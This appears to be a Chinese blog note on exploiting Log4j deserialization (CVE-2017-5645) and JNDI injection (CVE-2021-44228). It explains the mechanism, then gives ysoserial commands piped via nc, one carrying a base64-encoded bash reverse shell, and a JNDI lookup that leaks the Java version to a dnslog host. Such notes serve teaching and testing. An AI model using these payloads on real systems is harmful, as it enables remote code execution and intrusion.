log4j反序列化远程命令执行以及个人原理理解

    1.Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
        1)漏洞原理:
            JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念,JDNI通过绑定的概念将对象和名称联系起来。
            LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
            Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。
            
            ${jndi:ldap:x.x.x.x/test.class},通过构造的这条恶意函数,发送到log4j,打印到日志中,开始解析{}中的内容,发现是ldap实现的jndi,然后调用lookup
            功能去查找x.x.x.x/test.class该文件,然后发现是远程服务器的文件,需要通过codebase去下载该class类,然后下载后,对该class文件进行使用默认的构造器
            进行实例化成对象,这样就会把原理恶意构造的静态块代码执行
            上述原理只适用于jdk版本包括或者低于8的版本,高于8的版本,VersionHelper12.loadClass中设置了一个判断,就是trustURLCodebase变量设置为了false,禁止
            远程去访问下载恶意class类文件
            对于高版本的jdk,则可以考虑通过lookup加载本地类来进行jndi注入,可以利用javax.el.ELProcessor类,因为他有eval方法,且只有一个string参数,可以
            执行命令
        2)操作技巧:
            java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/suc" | nc 192.168.68.129 4712
            java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjcvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.68.129 4712
        3)漏洞版本:Apache Log4j 2.8.2之前的2.x版本
    2.Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
        1)漏洞原理:
            类似于上一个漏洞的原理
        2)操作技巧:
            http://192.168.68.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.el330r.dnslog.cn}
        3)漏洞版本:2.0 ≤ Apache Log4j <= 2.14.1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值